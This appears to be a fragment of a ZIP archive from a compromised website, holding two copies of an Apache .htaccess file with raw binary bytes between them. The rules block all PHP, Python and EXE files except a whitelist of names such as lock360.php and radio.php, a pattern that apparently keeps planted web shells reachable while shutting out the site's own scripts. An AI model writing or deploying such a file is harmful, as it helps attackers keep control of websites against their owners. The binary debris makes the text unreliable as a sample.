".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � - statistics/administrator/components/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � "